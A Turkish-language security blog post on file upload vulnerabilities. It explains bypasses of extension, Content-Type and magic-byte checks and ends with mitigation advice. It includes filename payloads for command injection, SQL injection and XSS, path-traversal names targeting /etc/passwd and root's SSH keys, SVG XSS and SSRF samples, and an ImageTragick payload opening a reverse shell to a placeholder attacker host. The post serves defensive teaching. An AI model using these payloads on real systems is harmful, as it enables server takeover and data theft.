File Upload Saldırıları
Bu yazımda, dosya yükleme fonksiyonu üzerinden oluşabilecek bazı zafiyetlere ve bu zafiyetlerden korunmak için neler yapılması gerektiğinden bahsedeceğim.
Uygulamalar, iş akışlarına göre dosya yükleme özelliği sunabilir ve ihtiyaca göre de farklı türdeki dosya formatlarına izin verilebilir. Örneğin, bir kullanıcının profil fotoğrafı gibi resim dosyaları, video dosyaları veya çeşitli ofis dosyaları yükleyebilmesi gibi.
Dosya yükleme fonksiyonu, geniş bir atak yüzeyine sahiptir. Yüklenen dosyanın, adı, içeriği ve boyutu üzerinden uygulamanın akışına bağlı olarak farklı farklı güvenlik açıkları oluşabilir. Örneğin, RCE, Injection, SSRF, XSS ve DoS… Bu durum, tamamen uygulamanın yüklenen dosyayı nasıl işlediğine göre farklılık gösterecektir.
Yüklenen dosyalar nerede saklanıyor? Uygulama, yüklenen dosyalar ile ne yapıyor, hangi süreçten geçiriyor gibi akışları analiz etmek potansiyel riskleri ve güvenlik açıklarını tespit etmek için önemli bir rol oynamaktadır. [1]
Yüklenen dosyalar ile hem sunucu taraflı hem de kullanıcı tarafına yönelik saldırılar gerçekleştirilebilir. Örneğin, uygulamaya yüklenebilecek bir webshell ile sunucunun doğrudan kontrolü ele geçirilebilir veya yüklenen zararlı bir dosya ile kullanıcıların tarayıcılarda istenilen javascript kodu çalıştırılabilir.
Dosya yükleme fonksiyonu üzerinde oluşabilecek bazı güvenlik zafiyetleri ve bazı güvensiz kontrolleri atlatma teknikleri aşağıdaki gibidir;
Client-side Kontrol
Kullanıcı tarafında yapılan kontrollerin kolaylıkla atlatılabileceği unutulmamalıdır. Bu kontrollerin amacı, güvenlik odaklı değil kullanıcıları yönlendirmek ve deneyimi arttırmaya yöneliktir. Güvenlik söz konusu olduğunda, kontrollerin sunucu tarafında yapılması gerekmektedir.
Saldırgan bu adımda, zararlı dosyasının uzantısını izin verilen bir uzantı (örneğin, .jpg) ile değiştirir ardından istek tarayıcıdan çıktıktan sonra araya proxy ile girerek uzantıyı “.php” olarak değiştirdiğinde client-side kontrolü atlatarak dosyayı yükleyecektir.
Blacklist Yaklaşımı
Yapılan bir diğer güvensiz kontrol, uzantıların kara liste yöntemi ile kontrol edilmesidir. İstenilmeyen dosya uzantısının engellenmesi sırasında geliştirici tarafından engellenen dosya uzantıları arasında zararlı dosyanın başka bir varyantı unutulmuş olabilir.
Örneğin, geliştirici “.php” uzantısını kara listeye almış olabilir ama “.php7”, “.phtml” gibi uzantılar da PHP tarafından yorumlanır.
Bu yaklaşımda saldırgan, kontrolü case-sensitive olarak veya engellenmesi unutulmuş başka bir uzantı ile geçebilir.
file.PhP
file.php7
Ek olarak, saldırgan .htaccess veya web.config gibi konfigürasyon dosyaları yükleyebilirse de komut çalıştırma imkanı bulacaktır.
Uzantı kontrolleri, çift uzantı veya null byte karakterlerinin eklenmesiyle de atlatılabilir.
file.jpg.php
file.php.jpg
file.php%00
Content-Type Kontrolü
Uygulama tarafında yüklenen dosyanın formatı “Content-Type” başlığına bakılarak kontrol ediliyorsa bu kontrol kolaylıkla atlatılabilir.
Örnek olarak saldırgan hazırladığı zararlı PHP dosyasını yüklerken, proxy yardımı ile HTTP isteğindeki Content-Type bilgisini “application/x-httpd-php” den “image/jpeg” olarak değiştirdiğinde bu korumayı atlatacaktır.
Content-Type listesi:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt
Magic Byte Kontrolü
Sunucu tarafında yüklenen dosyanın içeriği sadece magic byte’lara bakılarak kontrol ediliyorsa, saldırgan bu adımda zararlı dosyasının magic byte’larına izin verilen formata ait magic byte’ları ekleyerek bu kontrolü geçecektir.
Dosya İmzaları [2]
Hex:JPG: FF D8 FF EE
PNG: 89 50 4E 47 0D 0A 1A 0A
GIF: 47 49 46 38 39 61
Dosya Adı Üzerinden Oluşabilecek Zafiyetler
Uygulama tarafında yüklenen dosyanın adı kontrol edilmediği durumlarda birçok farklı zafiyet oluşabilir.
Dosya adının sunucu tarafında nerede işletildiğine bağlı olarak Injection zafiyetleri oluşabilir. Yüklenen dosya adının ekranda gösterilmesi sonucunda Cross-site Scripting (XSS) zafiyeti oluşabilir.
file$(whoami).png # Command Injection
file';select+sleep(10);--.png # SQLi
file"><script>alert(1)</script>.png # Cross-site Scripting (XSS)
Ek olarak, dosya adı üzerinden beklenilen dizinin dışına yazabilme ve kritik sistem dosyaları üzerine yazabilme gibi zafiyetlerde oluşabilir.
Örneğin, uygulama üzerinde yüklenen dosyalar “/files” dizininin altına yazıldığını düşünelim. Saldırgan burada dizin geçişi karakterlerini kullanarak başka bir dizine veya var olan bir sistem dosyası üzerine yazabilir.
../../file.jpg
../../../../../../../etc/passwd
Zip Slip Zafiyeti
Uygulamaya yüklenen arşiv dosyalarının (zip, rar ve 7z gibi) çıkartılması sırasında arşiv içerisinde yer alan dosya adlarının doğru bir şekilde kontrol edilmediği durumlarda Zip Slip zafiyeti oluşmaktadır. [3]
Dizin geçişi karakterlerinin (../) arşiv içerisinde yer alan dosyaların adları olarak kullanılması ile zafiyet tetiklenmektedir.
Örnek olarak, evil.zip dosyası içerisinde aşağıdaki gibi iki dosya olsun.
../../../../../root/.ssh/authorized_keys
dosya.txt
Yüklenen bu dosyanın, sunucu tarafında çıkartılması sırasında -kontrol eksikliği sebebiyle- saldırgan kendi public anahtarını root kullanıcısının SSH dizinine yazabilmekte ve kendi private anahtarı ile root hesabına SSH bağlantısı yapabilecektir.
Zip Slip zafiyeti, kritik sistem/konfigürasyon dosyalarının üzerine yazılması ve komut çalıştırma ile sonuçlanacaktır.
Denial of Service (DoS)
Yüklenen dosyaların boyutları kontrol edilmediği durumda saldırgan büyük boyutlu dosyalar yükleyerek sunucunun servis veremez hale gelmesini sağlayabilir.
Ek olarak, yüklenen büyük pixel’e sahip resim dosyaları, sunucu tarafında işlendiği sırada servisin yavaşlamasına ve hizmet dışı kalmasına sebep olabilir. (Pixel Flood)
Zafiyetli Bileşen Kullanımı
Yüklenen dosyalar, sunucu tarafındaki kütüphaneler tarafından işlendiği sırada çeşitli güvenlik açıkları oluşabilir. Örnek olarak;
ImageTragick
Web dünyasında yaygın olarak kullanılan görüntü işleme kütüphanesi ImageMagick’i etkileyen bazı güvenlik açıkları duyurulmuştu.[4]
CVE-2016-3714, CVE-2016-3718, CVE-2016-3715, CVE-2016-3716 ve CVE-2016-3717 referans nolu güvenlik açıklarında kullanıcı tarafından yüklenen dosyalar, sunucu tarafında işlenirken komut çalıştırma, SSRF ve dosya okuma gibi güvenlik zafiyetlerine sebep oluyordu.
Örnek olarak, aşağıdaki gibi özel olarak hazırlanmış bir evil.png dosyası sunucuya yüklendiğinde, sunucu tarafında convert işlemi sırasında istenilen komut çalıştırılabilmektedir.
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|ls "-la)'
pop graphic-context
FFmpeg HLS
FFmpeg, ses ve video formatlarını işlemek için kullanılan açık kaynaklı bir yazılımdır. [5] FFmpeg, harici dosyalara referanslar içerebilecek HLS playlist’lerini işlemektedir. Özel olarak hazırlanmış AVI dosyası ile FFmpeg HLS playlist’i kullanarak SSRF zafiyeti tetiklenmekteydi.
Hackerone’da örnek raporu inceleyebilirsiniz:
https://hackerone.com/reports/1062888
Diğer Durumlar
Metadata’ların Açığa Çıkması
Uygulamaya yüklenen resim ve ofis dosyalarının EXIF metadata’ları üzerinden bilgi açığa çıkabilir. Örneğin, başka bir kullanıcının yüklediği resmin EXIF metadata’ları içerisinde konum, cihaz bilgisi gibi veriler açığa çıkabilir.
XML External Entity (XXE) Injection
Uygulama yüklenen XML formatlı dosyalar, XML parser’da ayrıştırılırken harici entity tanımlamalarına izin veriliyorsa XXE zafiyeti oluşabilir.
Örneğin, ofis dosyaları (docx, xlsx) ve SVG gibi XML formatlı dosyalar.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#xxe-inside-docx-file
SVG Yüklenebilmesi
SVG dosyası, XML tabanlı vektörel grafik formatıdır. Uygulamaya SVG dosyası yüklenmesine izin veriliyorsa, XXE, XSS, SSRF ve open redirection gibi güvenlik zafiyetleri tetiklenebilir.
XSS
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
SSRF
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
Güvenlik bakış açısı ile incelediğinde dosya yükleme konusu özellikle üzerinde durulması gereken ve birçok farklı kontrolün aynı anda uygulanması gereken kritik bir fonksiyondur.
Çözüm Yöntemleri:
- İş ihtiyacı kapsamında gerekli olan dosya uzantıları belirlenerek, beyaz liste yaklaşımı ile kontrol edilmelidir. Sadece istenilen dosya uzantılarına izin verilmelidir.
- Yüklenen dosyanın içeriği kontrol edilmelidir. (Content-Type başlığı kolaylıkla manipüle edilebileceği için güvenilmemelidir.)
- Yüklenebilecek dosyaların boyutu sınırlandırılmalıdır.
- Uygulama tarafında yüklenen dosyaların adları değiştirilmelidir.
- Dosya adı, izin verilen karakterlerden oluşturulmalı ve uzunluğu kontrol edilmelidir.
- Sadece yetkili kişiler tarafından dosya yüklenebilmesine izin verilmelidir.
- Yüklenen dosyalara erişim sağlanırken yetki kontrollerinin uygun bir şekilde yapıldığından emin olunmalıdır.
- Dosya izinleri en az ayrıcalıklar ilkesine göre ayarlanmalıdır.
- Yüklenen dosyalar, uygulama sunucusundan farklı bir sunucuda saklanmalıdır.
- Yüklenen dosyaların, zararlı bir içeriğe sahip olup olmadığını doğrulamak için bir anti virüs veya sandbox çözümü kullanılabilir.
- Kullanılan kütüphaneler güncel tutulmalı ve güvenli bir şekilde yapılandırılmalıdır.
- CSRF saldırılarına karşı koruma sağlanmalıdır.
- Tarayıcıların MIME tipi sniffing davranışını devre dışı bırakmalarını belirtmek için “X-Content-Type-Options: nosniff” başlığı, dosyaların indirildiği alanlarda da “Content-Disposition: Attachment” başlığı kullanılmalıdır.
Kaynaklar:
- [1] https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
- [2] https://en.wikipedia.org/wiki/List_of_file_signatures
- [3] https://snyk.io/research/zip-slip-vulnerability
- [4] https://imagetragick.com/
- [5] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
- https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html